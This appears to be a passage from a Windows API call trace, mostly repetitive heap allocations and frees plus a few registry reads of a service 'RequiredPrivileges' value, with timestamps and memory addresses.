[0178.021] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0178.021] RegQueryValueExA (in: hKey=0x140, lpValueName="RequiredPrivileges", lpReserved=0x0, lpType=0x36f454, lpData=0x0, lpcbData=0x36f45c*=0x0 | out: lpType=0x36f454*=0x7, lpData=0x0, lpcbData=0x36f45c*=0x48) returned 0x0 [0178.021] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0178.021] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0178.021] RegQueryValueExA (in: hKey=0x140, lpValueName="RequiredPrivileges", lpReserved=0x0, lpType=0x36f454, lpData=0x21f2eb0, lpcbData=0x36f45c*=0x48 | out: lpType=0x36f454*=0x7, lpData=0x21f2eb0*, lpcbData=0x36f45c*=0x48) returned 0x0 [0178.021] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0178.021] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d630 [0178.021] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4e8 [0178.021] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0178.021] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0178.021] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0178.021] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4c8 [0178.021] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0178.021] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0178.021] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0178.021] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d498 [0178.021] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0178.021] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0178.021] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0178.021] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3c8 [0178.021] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0178.021] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d398 [0178.021] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0178.021] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3d8 [0178.021] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0178.021] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0178.021] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4e8) returned 1 [0178.021] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0178.021] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4c8) returned 1 [0178.022] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0178.022] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d498) returned 1 [0178.022] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0178.022] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0178.022] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d630 [0178.022] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d498 [0178.022] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0178.022] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4c8 [0178.022] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0178.022] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4e8 [0178.022] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0178.022] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0178.022] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3c8) returned 1 [0178.022] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0178.022] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d398) returned 1 [0178.022] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0178.022] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3d8) returned 1 [0178.022] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0178.022] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0178.022] RegQueryValueExA (in: hKey=0x150, lpValueName="RequiredPrivileges", lpReserved=0x0, lpType=0x36f454, lpData=0x0, lpcbData=0x36f45c*=0x0 | out: lpType=0x36f454*=0x7, lpData=0x0, lpcbData=0x36f45c*=0x194) returned 0x0 [0178.022] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x1c0) returned 0x2152850 [0178.022] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0178.022] RegQueryValueExA (in: hKey=0x150, lpValueName="RequiredPrivileges", lpReserved=0x0, lpType=0x36f454, lpData=0x2152850, lpcbData=0x36f45c*=0x194 | out: lpType=0x36f454*=0x7, lpData=0x2152850*, lpcbData=0x36f45c*=0x194) returned 0x0 [0178.022] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0178.022] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0178.022] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3d8 [0178.022] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0178.022] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0178.022] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0178.022] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d398 [0178.022] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0178.022] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0178.023] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0178.023] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3c8 [0178.023] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0178.023] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0178.023] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0178.023] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3a8 [0178.023] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0178.023] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0178.023] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0178.023] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0178.023] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0178.023] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d2f8 [0178.023] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0178.023] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0178.023] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0178.023] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3b8 [0178.023] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0178.023] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0178.023] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0178.023] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d268 [0178.023] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0178.023] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0178.023] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0178.023] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d518 [0178.023] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0178.023] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0178.023] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0178.023] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0178.023] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252bc08) returned 1 [0178.024] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d408 [0178.024] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0178.024] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0178.024] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0178.024] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4d8 [0178.024] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0178.024] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0178.024] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0178.024] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d328 [0178.024] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0178.024] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0178.024] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0178.024] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d318 [0178.024] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0178.024] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0178.024] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0178.024] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0178.024] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21573f8) returned 1 [0178.024] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d368 [0178.024] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0178.024] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0178.024] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0178.024] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d508 [0178.024] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0178.024] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0178.024] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0178.024] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4b8 [0178.024] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0178.024] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0178.024] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0178.024] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d458 [0178.024] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3ec0 [0178.024] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0178.024] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0178.025] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x50) returned 0x252dd90 [0178.025] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0178.025] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d478 [0178.025] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0178.025] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0178.025] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x50) returned 0x219ddd8 [0178.025] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d258 [0178.025] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0178.025] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d378 [0178.025] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f08 [0178.025] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d388 [0178.025] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f50 [0178.025] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d448 [0178.025] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f98 [0178.025] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4f8 [0178.025] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3fe0 [0178.025] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d438 [0178.025] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4028 [0178.025] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d428 [0178.025] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4070 [0178.025] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d418 [0178.025] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f40b8 [0178.025] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d528 [0178.025] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4100 [0178.025] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d308 [0178.025] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4148 [0178.025] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d338 [0178.025] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0178.025] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3e8 [0178.025] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0178.025] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d548 [0178.025] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4220 [0178.025] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d538 [0178.025] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4268 [0178.026] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d348 [0178.026] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0178.026] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4a8 [0178.026] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42f8 [0178.026] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d558 [0178.026] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4340 [0178.026] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0178.026] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3d8) returned 1 [0178.026] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0178.026] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d398) returned 1 [0178.026] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0178.026] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3c8) returned 1 [0178.026] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0178.026] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3a8) returned 1 [0178.026] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0178.026] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d2f8) returned 1 [0178.026] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0178.026] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3b8) returned 1 [0178.026] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0178.026] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d268) returned 1 [0178.026] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0178.026] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d518) returned 1 [0178.026] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0178.026] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d408) returned 1 [0178.026] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0178.026] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4d8) returned 1 [0178.026] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0178.026] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d328) returned 1 [0178.026] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0178.026] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d318) returned 1 [0178.026] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0178.026] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d368) returned 1 [0178.026] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0178.026] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d508) returned 1 [0178.026] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0178.026] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4b8) returned 1 [0178.027] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3ec0) returned 1 [0178.027] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d458) returned 1 [0178.027] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0178.027] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d478) returned 1 [0178.027] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252dd90) returned 1 [0178.027] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0178.027] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x50) returned 0x219de30 [0178.027] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d478 [0178.027] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0178.027] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d458 [0178.027] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0178.027] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4b8 [0178.027] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0178.027] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d508 [0178.027] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0178.027] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d368 [0178.027] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0178.027] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d318 [0178.027] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0178.027] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d328 [0178.027] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0178.027] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4d8 [0178.027] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0178.027] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d408 [0178.027] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0178.027] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d518 [0178.027] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0178.027] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d268 [0178.027] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0178.027] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3b8 [0178.027] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0178.027] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d2f8 [0178.027] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0178.027] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3a8 [0178.028] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0178.028] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3c8 [0178.028] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0178.028] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d398 [0178.028] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0178.028] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3d8 [0178.028] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3ec0 [0178.028] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0178.028] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d258) returned 1 [0178.028] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f08) returned 1 [0178.028] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d378) returned 1 [0178.028] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f50) returned 1 [0178.028] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d388) returned 1 [0178.028] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f98) returned 1 [0178.028] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d448) returned 1 [0178.028] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3fe0) returned 1 [0178.028] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4f8) returned 1 [0178.028] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4028) returned 1 [0178.028] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d438) returned 1 [0178.028] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4070) returned 1 [0178.028] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d428) returned 1 [0178.028] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f40b8) returned 1 [0178.028] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d418) returned 1 [0178.028] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4100) returned 1 [0178.028] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d528) returned 1 [0178.028] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4148) returned 1 [0178.028] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d308) returned 1 [0178.028] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0178.028] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d338) returned 1 [0178.028] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0178.028] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3e8) returned 1 [0178.028] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4220) returned 1 [0178.028] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d548) returned 1 [0178.028] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4268) returned 1 [0178.028] RtlFreeHeap 